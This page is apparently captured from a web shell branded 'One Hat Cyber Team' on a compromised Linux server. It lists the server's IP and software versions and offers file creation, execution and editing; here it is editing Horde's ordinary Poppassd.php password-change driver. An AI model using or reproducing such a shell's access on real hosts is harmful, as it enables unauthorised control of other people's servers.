⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.37
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
passwd
/
lib
/
Driver
/
Edit File: Poppassd.php
<?php /** * Copyright 2000-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (GPL). If you * did not receive this file, see http://www.horde.org/licenses/gpl. * * @category Horde * @copyright 2000-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package Passwd */ /** * Changes a password via a poppassd server. * * @author Eric Jon Rostetter <eric.rostetter@physics.utexas.edu> * @category Horde * @copyright 2000-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package Passwd */ class Passwd_Driver_Poppassd extends Passwd_Driver { /** */ public function __construct(array $params = array()) { parent::__construct(array_merge(array( 'host' => 'localhost', 'port' => 106 ), $params)); } /** * Connects to the server. * * @throws Passwd_Exception */ protected function _connect() { $this->_fp = fsockopen( $this->_params['host'], $this->_params['port'], $errno, $errstr, 30 ); if (!$this->_fp) { throw new Passwd_Exception($errstr); } $this->_getPrompt(); } /** * Disconnects from the server. */ protected function _disconnect() { if (isset($this->_fp)) { fputs($this->_fp, "quit\n"); fclose($this->_fp); } } /** * Parses a response from the server to see what it was. * * @throws Passwd_Exception */ protected function _getPrompt() { if (!($prompt = fgets($this->_fp, 4096))) { throw new Passwd_Exception(_("No prompt returned from server.")); } if (!preg_match('/^[1-5][0-9][0-9]/', $prompt)) { throw new Passwd_Exception($prompt); } /* This should probably be a regex match for 2?0 or 3?0, no? */ $rc = substr($prompt, 0, 3); if (!in_array($rc, array('200', '220', '250', '300'))) { throw new Passwd_Exception($prompt); } } /** * Sends a command to the server. * * @throws Passwd_Exception */ protected function _sendCommand($cmd, $arg) { $line = $cmd . ' ' . $arg . "\n"; if (!($res_fputs = fputs($this->_fp, $line))) { throw new Passwd_Exception(_("Cannot send command to server.")); } $this->_getPrompt(); } /** */ protected function _changePassword($user, $oldpass, $newpass) { $this->_connect(); try { $this->_sendCommand('user', $user); } catch (Passwd_Exception $e) { $this->_disconnect(); throw new Passwd_Exception(_("User not found") . ': ' . $e->getMessage()); } try { $this->_sendCommand('pass', $oldpass); } catch (Passwd_Exception $e) { $this->_disconnect(); throw new Passwd_Exception(_("Incorrect old password.") . ': ' . $e->getMessage()); } try { $this->_sendCommand('newpass', $newpass); } catch (Passwd_Exception $e) { $this->_disconnect(); throw $e; } } }
Simpan